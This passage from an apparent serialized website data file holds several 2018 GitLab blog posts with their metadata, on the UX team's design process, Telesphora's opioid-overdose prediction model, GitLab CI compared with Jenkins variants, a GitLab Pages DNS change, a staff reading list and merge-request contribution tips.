     {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A deep dive into GitLab's UX design process\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-09-05\",\n      }",{"title":32319,"description":32320,"authors":32325,"heroImage":32321,"date":32326,"body":32327,"category":734,"tags":32328},[20767],"2018-09-05","\nThe [UX team](/handbook/product/ux/#ux-at-gitlab) recently gathered to share\nhow they collaborate in a fully remote environment. Our team of two UX researchers\nand nine UX designers spans eight countries and six time zones. In this webcast,\nthey discussed UX research, community contributions, and hiring, making it an\nexcellent resource in helping you learn more about\n[GitLab design](https://gitlab.com/gitlab-org/gitlab-design/#gitlab-design).\n\n### Watch the webcast\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6R64hHkkgtE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What we covered\n\nThe UX team generously provided insight into their workflow and projects. Below\nare a few of our favorite takeaways.\n\n### Iteration\n\nAt GitLab, [iteration](https://handbook.gitlab.com/handbook/values/#iteration) means making the smallest\nthing possible and getting it out as quickly as possible, helping us reduce the\ncycle time and rapidly get feedback from users so that we can continue to improve\nquickly and efficiently. Planning too far ahead without getting real-world\nfeedback can cause you to build something that doesn't meet user needs.\n\n### UX Research\n\nThe goal of UX research is to understand the needs and concerns of users, often\nby observing how they interact with a product or by gathering data through\nvarious methods. At GitLab, we often use survey research, feasibility testing,\nuser interviews, and card sorting to understand our users. We discuss the\nresults with product managers to help us prioritize feedback and determine the\nnext steps to implement the findings.\n\n### GitLab Design System\n\nOne of the team's major initiatives last year was  the\n[GitLab Design System](https://design.gitlab.com/), which\nincludes content guidelines, usability patterns, foundational styles, and reusable\ncomponents. The team shifted its focus towards system thinking to create\nconsistency throughout the product and predictability across experiences. The UXers\nhave been working closely with our frontend team to implement our system\niteratively.\n\nEvery designer writes usage guidelines during every milestone and\npicks at least one issue within the issue tracker to contribute to the project.\nThe design system is open source, just like the rest of GitLab, so everyone is\nencouraged to question any of the decisions we've made or contribute by making\nthings clearer or adding missing content.\n\n### How you can contribute to GitLab’s UX designs\n\nAs an open source company, we believe in transparency, so we share almost\neverything we do, including source files, artifacts, deliverables, case studies,\n[UX research](https://gitlab.com/gitlab-org/ux-research#research-archive), and\nour findings. Being open source allows the community to learn from us, and for\nus to learn from the community. There are issues that have been\nlabeled '[Accepting merge requests](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Accepting+merge+requests&label_name[]=UX)'\nand they need some UX work. Most of these are very small issues, making them the\nperfect starting point for first-time contributors. If you have an idea for a UX\nimprovement, we encourage you to create an issue using the feature proposal\ntemplate to describe the problem you're trying to solve and your proposed solution.\n\nOur UX researchers encourage community contributions, so if you're interested\nin exploring a research question, you're welcome to create an issue using a\nsearch proposal template in the\n[UX research project](https://gitlab.com/gitlab-org/ux-research#contributing).\nIf you’d like to help shape the future of GitLab, we’d love to invite you to\njoin [GitLab First Look](/community/gitlab-first-look/).\n\nThe UX team is happy to chat with you about your contribution,\nand we'll try to get back to you as soon as we can.\n\n### Join us!\n\nOur UX team is growing, and we'd love to work with you! We're currently looking\nfor three UX designers with an interest in our products. So, whether that's the\ndevelopment side or the operations side, we have a lot going on, and we have\nsomething for everyone. We're recruiting for specific teams, including Release\nand Verify, Monitor, and Secure teams. If you're interested in working with our\ntalented (and fun!) UX team, we encourage you [to apply](/jobs/)!\n\n[Cover image](https://unsplash.com/photos/MGBgTX1Zmpo) by [Chris Barbalis](https://unsplash.com/@cbarbalis), licensed\nunder [CC X](https://unsplash.com/license).\n{: .note}\n",[676,2249,3554,2248],{"slug":32330,"featured":6,"template":678},"deep-dive-into-gitlabs-ux-design-process","content:en-us:blog:deep-dive-into-gitlabs-ux-design-process.yml","Deep Dive Into Gitlabs Ux Design Process","en-us/blog/deep-dive-into-gitlabs-ux-design-process.yml","en-us/blog/deep-dive-into-gitlabs-ux-design-process",{"_path":32336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32337,"content":32343,"config":32348,"_id":32350,"_type":16,"title":32351,"_source":17,"_file":32352,"_stem":32353,"_extension":20},"/en-us/blog/how-telesphora-is-tackling-the-opioid-crisis-machine-learning-human-centered-design",{"title":32338,"description":32339,"ogTitle":32338,"ogDescription":32339,"noIndex":6,"ogImage":32340,"ogUrl":32341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32341,"schema":32342},"Fighting the opioid epidemic with ML & human-centered design","GitLab users Jack Cackler and Frank Lee explain how they use predictive analytics to empower community stakeholders, like first responders and policy makers, to save lives.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671593/Blog/Hero%20Images/telesphora-team.jpg","https://about.gitlab.com/blog/how-telesphora-is-tackling-the-opioid-crisis-machine-learning-human-centered-design","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Telesphora is tackling the opioid epidemic with machine learning and human-centered design\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2018-09-05\",\n      }",{"title":32344,"description":32339,"authors":32345,"heroImage":32340,"date":32326,"body":32346,"category":8943,"tags":32347},"How Telesphora is tackling the opioid epidemic with machine learning and human-centered design",[28961],"\n\nOn average, [115 Americans die every day](https://www.cdc.gov/drugoverdose/epidemic/index.html) from an opioid overdose. The team at [Telesphora](https://telesphora.com/) is on a mission to help health care professionals and local communities change that.\n\nIn 2017, the United States Department of Health and Human Services (HHS) declared the current opioid crisis a public health emergency as the number of [deaths involving opioids](https://www.drugabuse.gov/related-topics/trends-statistics/overdose-death-rates) in the United States skyrocketed from approximately 10,000 in 2002 to an estimated 49,000 in 2017.\nIn response to the crisis, the HHS released a [five-point strategy](https://www.hhs.gov/opioids/about-the-epidemic/hhs-response/index.html) for fighting the opioid epidemic. Among the key priorities you’d expect to see from a health crisis report (e.g. better prevention, treatment, and recovery services; better pain management) is **better data**, and they’ve turned to computer and data scientists for help.\n\n![US map of opioid epidemic](https://about.gitlab.com/images/blogimages/telesphora/us-map-crisis.jpg){: .medium.center}\n*\u003Csmall>In 2016, the number of overdose deaths involving opioids was 5 times higher than in 1999.\u003C/small>*\n\n## Designing for people\n\nJack Cackler is a machine learning specialist. Frank Lee is a pain management specialist. Under typical circumstances, these two may have never met. But when the HHS decided to hold an unprecedented [national opioid crisis code-a-thon](https://www.hhs.gov/challenges/code-a-thon/index.html), they didn’t just enlist developers – they brought in stakeholders from every side of the issue to develop data-driven solutions to combat the opioid epidemic across three tracks: treatment, usage, and prevention.\n\n[Origami Innovations](https://origamiinnovations.com/), a design, innovation, and solution lab powered by a Yale University students, was invited to the code-a-thon, bringing Cackler, Lee, and co-founders Matthew Erlendson, fourth-year medical student at Yale University and founder of Origami Innovations, and Dara Rouholiman, a digital health, data, and machine learning consultant together for the time. After winning the Treatment Track and receiving a $10,000 prize, they formed Telesphora, a human-centered data science platform.\n\n“One of the things that we were involved with was coming up with the core themes for the hackathon,” said Frank Lee, co-founder of Telesphora. “One of the ways that we do that is by human-centered design thinking.”\n\nHuman-centered design is an approach to design that considers the human perspective in every step of the problem-solving process. As Jack Cackler, co-founder at Telesphora, explains, “Sometimes, especially for those with a technical background, there’s a tendency to just focus on a technical solution. We really tried to get the story behind how this [opioid crisis] really impacted people.”\n\n> \"There’s a tendency to just focus on a technical solution. We really tried to get the story behind how this [opioid crisis] really impacted people.”\n\nCackler and team knew they wanted to design a human-centered solution. Discovering that the stigma of chronic opioid use was preventing treatment, they started asking questions:\n\n- *How might we treat this like a disease to reduce stigma, taking an empathetic approach similar to outbreaks of the flu or STDs?*\n- *How might we better predict community outbreaks?*\n- *How might we contain high mortality outbreaks, such as bad batches of drugs, to save lives in real time?*\n\n“We involved all the stakeholders in the crisis, which includes not only the providers, the scientists, and the administrators of the local and the state regions, but also the patients and families of patients who are affected by the overdose,” said Lee. “After doing a lot of brainstorming with these participants, we knew there needed to be better communication between first responders. We aimed our solution toward first responders and how they can help each other better allocate resources to help with the overdoses.”\n\n## Empathy over stigma\n\nOn June 23, 2016 in New Haven, Connecticut, where many on Cackler and Lee’s code-a-thon team called home, 12 patients, found within a one-block radius, were taken to Yale New Haven Hospital for opioid overdose. Three lost their lives due to a shortage of the drug Narcan (naloxone), a drug that can treat an opioid overdose to prevent death; the shelf life is short and the cost is high.\n\nPart of the problem, according to Lee and Cackler, is that there’s a common assumption that there’s a uniform distribution of overdoses, therefore, you can accommodate the demand. However, data analysis and conversations with first responders show that overdoses happen in spikes, like the event in New Haven.\n\n“There will be a new distribution channel of some opioid in some city. And then all of a sudden, you'll have a dozen, two dozen overdoses in a weekend, and there's just no way that the ambulances in the city can service that demand,” said Cackler. If the outbreak in New Haven could have been predicted, health agencies could have prepared and saved lives.\n\n![telesphora interface](https://about.gitlab.com/images/blogimages/telesphora/hhs1.png){: .medium.center}\n*\u003Csmall>Telesphora is a platform that uses real-time, open-access data and machine learning to predict where and when increases in opioid overdose and mortality will occur.\u003C/small>*\n\nThe solution Cackler, Lee, and the team came up with, now Telesphora, aimed to do just that. Using real-time data and future-trend data, they built a platform that empowers communities to predict outbreaks, increases access to treatment and resources, and reduces the stigma of opioid use.\n\n## Predictive analytics and user-friendly tools save lives\n\nKnowing that if an overdose outbreak is predicted before it happens, life-saving medicine can be allocated to the soon-to-be affected area to save lives, the Telesphora team used predictive analytics and user-friendly design to build a projection model and visualize the data.\n\n> \"If the outbreak in New Haven could have been predicted, health agencies could have prepared and saved lives.\"\n\nStarting with historical overdose data and network analysis of supply movements and overdoses, they created a spatiotemporal Poisson process to project future opioid overdose trends at any given space and time. The Poisson process takes real-time data and uses the geographic information, temporal information, and type of drug to predict the movement of opioids, alerting local responders and authorities of a potential overdose outbreak before it happens, bringing response time and mortality rate down.\n\n“The first alerts in this model come from neighboring cities in a flurry of mortality rate. Our tool with a geospatial analysis can predict the movement of spikes. When you see a spike in fentanyl in New Haven, CT, 4.8 days later you’ll see a spike happen in Fairfield,” Cackler explains.\n\n![machine learning explanation](https://about.gitlab.com/images/blogimages/telesphora/machine-learning.jpg){: .medium.center}\n*\u003Csmall>The machine learning model predicts the movement of outbreaks based on surrounding counties.\u003C/small>*\n\nWhen an outbreak is detected, it appears as a spike on the graph and the model can correlate that spike to different regions, alerting communities to how many days until that outbreak affects their area. The data visualization makes it easy for end users, like first responders, to digest the numbers and trends, showing the actual and predicted data across different regions, and the ability to filter by different drugs.\n\n“If we had this model a year before, events like what happened in New Haven could have been predicted. I think that’s really impactful and you can see in a tangible way how this is actionable,” said Cackler.\n\n*Are you using machine learning or human-centered design to build actionable solutions for the future? We want to hear from you! Email content@gitlab.com.*\n\nAll images courtesy of Telesphora\n{: .note}\n",[4772,790],{"slug":32349,"featured":6,"template":678},"how-telesphora-is-tackling-the-opioid-crisis-machine-learning-human-centered-design","content:en-us:blog:how-telesphora-is-tackling-the-opioid-crisis-machine-learning-human-centered-design.yml","How Telesphora Is Tackling The Opioid Crisis Machine Learning Human Centered Design","en-us/blog/how-telesphora-is-tackling-the-opioid-crisis-machine-learning-human-centered-design.yml","en-us/blog/how-telesphora-is-tackling-the-opioid-crisis-machine-learning-human-centered-design",{"_path":32355,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32356,"content":32361,"config":32365,"_id":32367,"_type":16,"title":32368,"_source":17,"_file":32369,"_stem":32370,"_extension":20},"/en-us/blog/how-gitlab-ci-compares-with-the-three-variants-of-jenkins",{"title":32357,"description":32358,"ogTitle":32357,"ogDescription":32358,"noIndex":6,"ogImage":12013,"ogUrl":32359,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32359,"schema":32360},"How GitLab CI compares with the three variants of Jenkins","In this article, we compare GitLab CI with the three Jenkins variants and ask if there are things we can learn.","https://about.gitlab.com/blog/how-gitlab-ci-compares-with-the-three-variants-of-jenkins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab CI compares with the three variants of Jenkins\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2018-09-03\",\n      }",{"title":32357,"description":32358,"authors":32362,"heroImage":12013,"date":32363,"body":32364,"category":8943},[3532],"2018-09-03","\n\nThe creator of Jenkins just [announced two new versions of Jenkins](https://jenkins.io/blog/shifting-gears/).\nAccording to the author, the current legacy version of Jenkins is \"trapped in a local optimum,\" and he proposes to make [Cloud Native Jenkins](https://jenkins.io/sigs/cloud-native/) and [Jenkins Evergreen](https://github.com/jenkinsci/jep/blob/master/jep/300/README.adoc) to get to a global optimum.\n\nAccording to Forrester, [GitLab CI and Jenkins/Cloudbees are two of the four leading products for CI](/blog/gitlab-leader-continuous-integration-forrester-wave/).\nIn this article, we compare GitLab CI with the three Jenkins variants. Here's what we learned.\n\nThe structure of this article is based on the items mentioned in the Jenkins announcement.\n\n## Extensible\n\nThe governance, culture, and distribution mechanism of Jenkins and GitLab are comparable; both of them open core projects with a dominant company.\nBy the way, the proprietary version CloudBees Jenkins Enterprise is now known as CloudBees Core; for most open core projects the core is the open source part.\n\n## General purpose\n\nBoth Jenkins and GitLab CI can be used for many tasks and can build on many operating systems.\n\n## Community\n\nJenkins has 519 contributors to its source code, but many people contribute via plugins that are not in core.\nGitLab has 2,000+ contributors overall, but only part of them contribute to CI.\n\n## Service instability\n\nAccording to the author, the current legacy version of Jenkins sometimes needs to be restarted once a day by an administrator.\nGitLab CI is part of GitLab, and in case it runs out of memory, the application processes are automatically restarted one by one without disruption to the users or builds.\nThe article doesn't mention how Cloud Native Jenkins or Jenkins Evergreen addresses the problem.\n\n## Brittle configuration\n\nLegacy Jenkins can easily break if you install or upgrade a plugin.\nGitLab CI has all functionality as part of its main code base, ensuring everything is tested before it is shipped to customers.\nJenkins Evergreen will come with essential plugins as part of the [distribution](https://github.com/jenkinsci/jep/blob/master/jep/300/README.adoc#automatically-updated-distribution).\nThe article doesn't mention how Cloud Native Jenkins addresses the problem; maybe it doesn't allow plugins.\n\n## Assembly required\n\nLegacy Jenkins doesn't work out of the box because too many choices are confusing users.\nGitLab CI and GitLab are [based on convention over configuration](/handbook/product/product-principles/#convention-over-configuration), where we prefer choices that are well thought out and based on current best practices and avoid unnecessary configuration.\nCloud Native Jenkins redesigns Jenkins from the ground up on simpler primitives.\nJenkins Evergreen still uses the same plugins so it would be harder to simplify, but maybe by selecting a set of blessed essential plugins, you can make them work better together because they can assume the other plugin is installed.\n\n## Reduced development velocity\n\nLegacy Jenkins [releases once a week](https://jenkins.io/changelog/) but the changes seem relatively minor.\nGitLab [releases every month with multiple major features](https://about.gitlab.com/releases/) although most are not for CI.\nCloud Native Jenkins is under heavy development, but I was not able to locate the source code.\nJenkins Evergreen has an [automatically updated distribution](https://github.com/jenkinsci/jep/blob/master/jep/300/README.adoc#auto-update) that has three improvements for project developers:\n\n1. Greatly reduced time between core and \"foundational\" plugin changes landing.\n1. Greatly reduced version matrix for testing core/plugin changes against one another.\n1. Small-batch changes can automatically report success/error telemetry which provides rapid feedback for changes.\n\n## Kubernetes as the runtime\n\nThis is part of Cloud Native Jenkins only, not of Legacy Jenkins or Jenkins Evergreen.\n\n1. Serverless / function-as-a-service build execution (à la Jenkinsfile runner) that are isolated. => [GitLab CI Runner](https://docs.gitlab.com/runner/) already allows for isolated build execution. We're discussing [introducing a Lambda-based serverless runner](https://gitlab.com/gitlab-org/gitlab-runner/issues/3128).\n1. Various pieces of functionalities deployed as separate microservices. => GitLab is mostly a Rails monolith with [parts that require high performance as separate Go microservices](https://docs.gitlab.com/ee/development/architecture.html#components).\n1. Services interacting through [Kubernetes CRDs](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) in order to promote better reuse and composability. => This is something currently not in GitLab, but we're keeping a close eye on this. We're open to suggestions on how to best do this. GitLab does have extensive [Kubernetes integrations](/solutions/kubernetes/).\n\n## New extensibility mechanism\n\nThis means using something like [Knative builder](https://github.com/knative/build).\nThis is proposed to be part of Cloud Native Jenkins only, not of Legacy Jenkins or Jenkins Evergreen.\nAt GitLab, we're following the Knative news, for example [scale to zero is something we want to use for our review apps](https://gitlab.com/gitlab-org/gitlab-ee/issues/3585#note_90052063), and if Knative build becomes popular, we'll certainly consider supporting it.\n\n## Data on cloud-managed data services\n\nThis is part of Cloud Native Jenkins only, not of Legacy Jenkins or Jenkins Evergreen.\nGitLab CI already supports storing everything in object storage and a database, not using file storage at all.\nGitLab itself still needs file storage for the Git repositories, since some Git commands require block access.\n\n## Configuration as code\n\nThis is to be able to copy the configuration of one Jenkins master to another.\nWith GitLab, all the CI configuration is part of the repo in the [.gitlab-ci.yml file](https://docs.gitlab.com/ee/ci/yaml/) on a per project basis, so you don't need to copy master configuration between GitLab instances.\nWith Jenkins you can have some project configuration as part of a [Jenkinsfile](https://jenkins.io/doc/book/pipeline/jenkinsfile/) but you have to [configure plugins on the master level](https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/README.md#plugin-management).\n\n## Secure by default design\n\nThe [Jenkins Remoting Layer](https://github.com/jenkinsci/remoting#jenkins-remoting-layer) that handles communication between the orchestrator and the agent is \"inherently prone to security vulnerabilities because of their design.\"\nWith GitLab CI, we run every build on a remote agent from the start of the project, having this as the default and only way helps keep the design elegant.\nWe do find that CI has been responsible for an above-average share of our security patches.\nSo far, everyone has [responsibly disclosed](/security/disclosure/) these, for which we are immensely grateful.\n\n## Conclusion\n\nThe many plugin combinations for Jenkins has made Legacy Jenkins hard to configure and brittle when updating.\nCloudbees is introducing two new versions of Jenkins to remedy the problem: Cloud Native Jenkins will start from scratch, while Jenkins Evergreen will focus on a set of essential plugins.\nGitLab CI adds new functionality in the main code base, avoiding the need for needless configuration and ensuring everything still works when updating.\n",{"slug":32366,"featured":6,"template":678},"how-gitlab-ci-compares-with-the-three-variants-of-jenkins","content:en-us:blog:how-gitlab-ci-compares-with-the-three-variants-of-jenkins.yml","How Gitlab Ci Compares With The Three Variants Of Jenkins","en-us/blog/how-gitlab-ci-compares-with-the-three-variants-of-jenkins.yml","en-us/blog/how-gitlab-ci-compares-with-the-three-variants-of-jenkins",{"_path":32372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32373,"content":32378,"config":32383,"_id":32385,"_type":16,"title":32386,"_source":17,"_file":32387,"_stem":32388,"_extension":20},"/en-us/blog/gitlab-pages-update",{"title":32374,"description":32375,"ogTitle":32374,"ogDescription":32375,"noIndex":6,"ogImage":29611,"ogUrl":32376,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32376,"schema":32377},"Update about GitLab Pages","If you are using GitLab Pages with a custom domain, you may need to update your DNS.","https://about.gitlab.com/blog/gitlab-pages-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update about GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David Smith\"}],\n        \"datePublished\": \"2018-08-28\",\n      }",{"title":32374,"description":32375,"authors":32379,"heroImage":29611,"date":32380,"body":32381,"category":734,"tags":32382},[13061],"2018-08-28","\n\nAfter completing our move to Google Cloud Platform (GCP) on August 11, 2018, GitLab.com traffic has been served from our new infrastructure in GCP. For GitLab Pages users, we left a proxy in place in Azure to be backwards compatible for those Pages users who had an A record pointing to the IP Address at our Azure location.\n\nWe had planned a graceful window to let people have time to migrate their DNS records.  In our [July GCP move update](/blog/gcp-move-update/), we referenced the new IP address at GCP that people should use.\n\nIn that transition, users should have moved their DNS records from 52.167.214.135 to 35.185.44.232.\n\nThis week, we started cleanup of parts of our now legacy Azure infrastructure. Unfortunately, that cleanup also caught up the Azure load balancer that had the old 52.167.214.135 IP address for the GitLab pages proxy. We quickly filed a ticket to see if we could reclaim the IP address, but could not be guaranteed that we could get it back when we rebuilt the load balancer. This post is to get the information out for those Pages users who have been affected by this change.\n\n### What you need to know:\n\nIf you are using GitLab Pages with a custom domain AND you have an A record in DNS that points to the old Azure IP, you will need to update your DNS:\n\n|from IP (old)|to IP (new)|\n|",[923,3949,3049,2509],{"slug":32384,"featured":6,"template":678},"gitlab-pages-update","content:en-us:blog:gitlab-pages-update.yml","Gitlab Pages Update","en-us/blog/gitlab-pages-update.yml","en-us/blog/gitlab-pages-update",{"_path":32390,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32391,"content":32397,"config":32402,"_id":32404,"_type":16,"title":32405,"_source":17,"_file":32406,"_stem":32407,"_extension":20},"/en-us/blog/what-we-re-reading",{"title":32392,"description":32393,"ogTitle":32392,"ogDescription":32393,"noIndex":6,"ogImage":32394,"ogUrl":32395,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32395,"schema":32396},"What we're reading","GitLab team-members are a passionate group of learners who enjoy reading to strengthen their skills, develop new techniques, and enhance their knowledge.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683225/Blog/Hero%20Images/gitlabreading.jpg","https://about.gitlab.com/blog/what-we-re-reading","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we're reading\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-08-27\",\n      }",{"title":32392,"description":32393,"authors":32398,"heroImage":32394,"date":32399,"body":32400,"category":6634,"tags":32401},[20767],"2018-08-27","\nAt GitLab, we ❤️ reading. Here are a few of our recent pageturners.\n\n### How Rust’s standard library was vulnerable for years and nobody noticed\n[Nick Thomas](/company/team/#nick.thomas), Staff Developer, enjoyed\n[this article](https://medium.com/@shnatsel/how-rusts-standard-library-was-vulnerable-for-years-and-nobody-noticed-aebf0503c3d6)\non Rust, a new systems programming language. Nick commented, \"It was very\ninteresting from a general-security point of view, especially the\n'everything is broken' and 'here is how security advisories actually work' bits.\"\n\n### Designing Delivery: Rethinking IT in the Digital Service Economy\n[Kristie McGoldrick](/company/team/#Krist_McG), Solutions Architect, has been devouring\n[this book](https://www.amazon.com/Designing-Delivery-Rethinking-Digital-Service/dp/1491949880/ref=mt_paperback?_encoding=UTF8&me=&qid=),\nfinding it \"very applicable to GitLab.\"\n\n### It's the Future\n[Lin Jen-Shin](/company/team/#godfat-gitlab), Developer, fondly reflects on\n[this CircleCI blog post](https://circleci.com/blog/its-the-future/), saying\n\"I think I'll remember this post forever. One person is trying to persuade\na teammate, who just wants to get things done right now, to use future technology.\nThe future tech is not mature enough to get things done easily, so it\novercomplicates a lot of things, and the teammate just wants something simple. It's\npretty technical, but it's funny! That future tech is getting closer to becoming\nmature now, and GitLab is  trying to use Kubernetes and collaborating with Google\nto make this tech better.\"\n\n### The Phoenix Project: A Novel about IT, DevOps, and Helping Your Business Win\n\n[Rebecca Dodd](/company/team/#rebecca), Content Editor, recently read\n[\"The Phoenix Project\"](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262509)\nand confidently declared that, \"I think we’ve\nall read 'The Phoenix Project.'\"\n\n### The DevOps Handbook: How to Create World-Class Agility, Reliability, and Security in Technology Organizations\n\n[Mike Miranda](/company/team/#zmikemiranda), Sales Development Representative, just\npicked up [\"The DevOps Handbook\"](https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations-ebook/dp/B01M9ASFQ3/)\nto understand the needs of IT leaders.\n\n",[676],{"slug":32403,"featured":6,"template":678},"what-we-re-reading","content:en-us:blog:what-we-re-reading.yml","What We Re Reading","en-us/blog/what-we-re-reading.yml","en-us/blog/what-we-re-reading",{"_path":32409,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32410,"content":32416,"config":32422,"_id":32424,"_type":16,"title":32425,"_source":17,"_file":32426,"_stem":32427,"_extension":20},"/en-us/blog/contributing-to-gitlab-with-ease",{"title":32411,"description":32412,"ogTitle":32411,"ogDescription":32412,"noIndex":6,"ogImage":32413,"ogUrl":32414,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32414,"schema":32415},"Contributing to GitLab with ease","Everyone can contribute to GitLab, so here are a few tips to make your experience easy and pleasant.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678997/Blog/Hero%20Images/mergerequestsgame.jpg","https://about.gitlab.com/blog/contributing-to-gitlab-with-ease","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Contributing to GitLab with ease\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lin Jen-Shin\"}],\n        \"datePublished\": \"2018-08-23\",\n      }",{"title":32411,"description":32412,"authors":32417,"heroImage":32413,"date":32419,"body":32420,"category":813,"tags":32421},[32418],"Lin Jen-Shin","2018-08-23","\nAs a [Merge Request Coach](https://handbook.gitlab.com/job-families/expert/merge-request-coach/), I am happy to\nhelp community contributors feel comfortable when contributing\nto GitLab. During my time reviewing merge requests, I’ve learned a bit about\nhow it feels contributing to GitLab as a newcomer, and I’d like to share\nmy learnings with you.\n\n## Common issues in an MR (merge request)\n\nIn the past, I think styling might have been one of the most common issues.\nHowever, we’re improving our CI to run more static analysis, so these issues\nare now automatically pointed out. Today, contributors can easily see what\ndidn’t pass CI, and they can fix the issues very quickly, so this is not as\ncommon as it was in the past.\n\nThe biggest issue today might be that many contributors don’t add tests, since\ntests often require much more effort than fixing or adding something. If\nyou’re struggling with adding tests, please don’t worry. Merge request coaches\ncan tell you how to add tests when we see your contribution, and we’ll work\nthrough it together.\n\n## Best practices\n\n1. If you only remember one best practice, I hope it is to keep this\nreference handy when [contributing to GitLab](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/development/contributing/index.md).\nI know it’s super long, but it has all the information you need when it comes\nto making contributions to GitLab.\n\n2. Get [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit) set up\nlocally if you haven’t already. Running tests locally is the best way to\ndevelop and debug, and I highly encourage that you incorporate this into your\nworkflow.\n\n3. Don’t ignore CI. If your pipeline didn’t pass, it’s important to go back and\nidentify the problem. Troubleshooting issues is a great way to practice your\nskills and help you learn from mistakes.\n\n4. Look at the [GitLab team page](/company/team/) and pick a merge request coach to\nping if you need help. Merge request coaches guide contributors and will even\njump in to help finish an MR if a contributor can no longer work on it,\nensuring that the attribution stays with the original contributor. Our goal is\nto help everyone feel comfortable and empowered to contribute even with\nsmallest possible effort. Coaches have other responsibilities and don’t always\nproactively look for contributors who need help, so ping them if you’re stuck\nor ready for a review. If they’re not the right person to ping, they’ll pass\nyou over to the right one. We love helping community contributors, and we look\nforward to guiding and working with you.\n\n## Little-known features\n\nWe [recently welcomed](/blog/introducing-gitlab-s-integrated-development-environment/)\nWeb IDE to quickly edit multiple files on the web directly without cloning\nthe whole repository. Web IDE is useful if you just want to make some small\nchanges online. If you’d like to learn more about Web IDE, please\nhead over to our [documentation](https://docs.gitlab.com/ee/user/project/web_ide/).\n\nSince GitLab's development velocity is pretty high, sometimes conflicts can\nhappen very frequently. Did you know that you can resolve conflicts directly\nfrom the web UI? I really love this feature, because it’s very easy to resolve\nsimple conflicts, and I don’t need to launch my editor or Git to pull, merge,\nand push. With some simple clicks, I can save a lot of time for simple\nconflicts.\n\n## What everyone should know about MRs\n\nTo me, an MR is a tool to interactively develop and explore with other people.\nDon’t worry about being perfect in the first version of your MR. We learn\nthrough our mistakes and get better over time.\n\nIf you’ve made tons of contributions, we invite you to join our\n[core team](/community/core-team/) or apply for a [full-time position](/jobs/) at GitLab.\nThe MR is one of the most important ways we work together, and we’d love to\ncollaborate with you.\n\n## What to do if you’re struggling\n\nIf you’re having some trouble getting the hang of merge requests, I suggest\ntaking a look at how others work on the MRs. Following other people’s example\ncan help you understand what they did and why they did it. Reaching out to a\nmerge request coach, joining discussions, and reviewing others’ code are also\nways to help you get up to speed. I think that interacting with others is a\ngreat way to learn and improve.\n\n## We’d love your contributions!\n\nWe really enjoy collaborating with community contributors, and we look forward\nto working together. If you don't know what you can contribute, please take a\nlook at [`Accepting merge requests`](https://gitlab.com/gitlab-org/gitlab-ce/issues?label_name[]=Accepting+merge+requests).\nWe label some issues to explicitly call out the ones that we won’t schedule\nanytime soon, but we still want it. These issues usually have very clear scopes,\nso they often just require a simple implementation. They’re nice targets if\nyou don’t know what to contribute but want to gain experience.\n\nIf you would like to see how we handle community contributions, please take a\nlook at [`Community contribution`](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests?label_name[]=Community%20contribution).\nWe put this label on all community contributions, therefore you can easily\nfind all the past and current community contributions. We look forward to\nyour future contributions as well!\n\n[Cover image](https://unsplash.com/photos/vqDAUejnwKw) by\n[Victor Freitas](https://unsplash.com/@victorfreitas), licensed\nunder [CC X](https://unsplash.com/license).\n{: .note}\n",[267,2368,4144,676,815],{"slug":32423,"featured":6,"template":678},"contributing-to-gitlab-with-ease","content:en-us:blog:contributing-to-gitlab-with-ease.yml","Contributing To Gitlab With Ease","en-us/blog/contributing-to-gitlab-with-ease.yml","en-us/blog/contributing-to-gitlab-with-ease",{"_path":32429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32430,"content":32436,"config":32441,"_id":32443,"_type":16,"title":32444,"_source":17,"_file":32445,"_stem":32446,"_extension":20},"/en-us/blog/epics-roadmap",{"title":32431,"description":32432,"ogTitle":32431,"ogDescription":32432,"noIndex":6,"ogImage":32433,"ogUrl":32434,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32434,"schema":32435},"Coming in 11.3: Seamless planning with epics & roadmap","See how you can plan and track larger initiatives even more easily with milestone dates integrated into 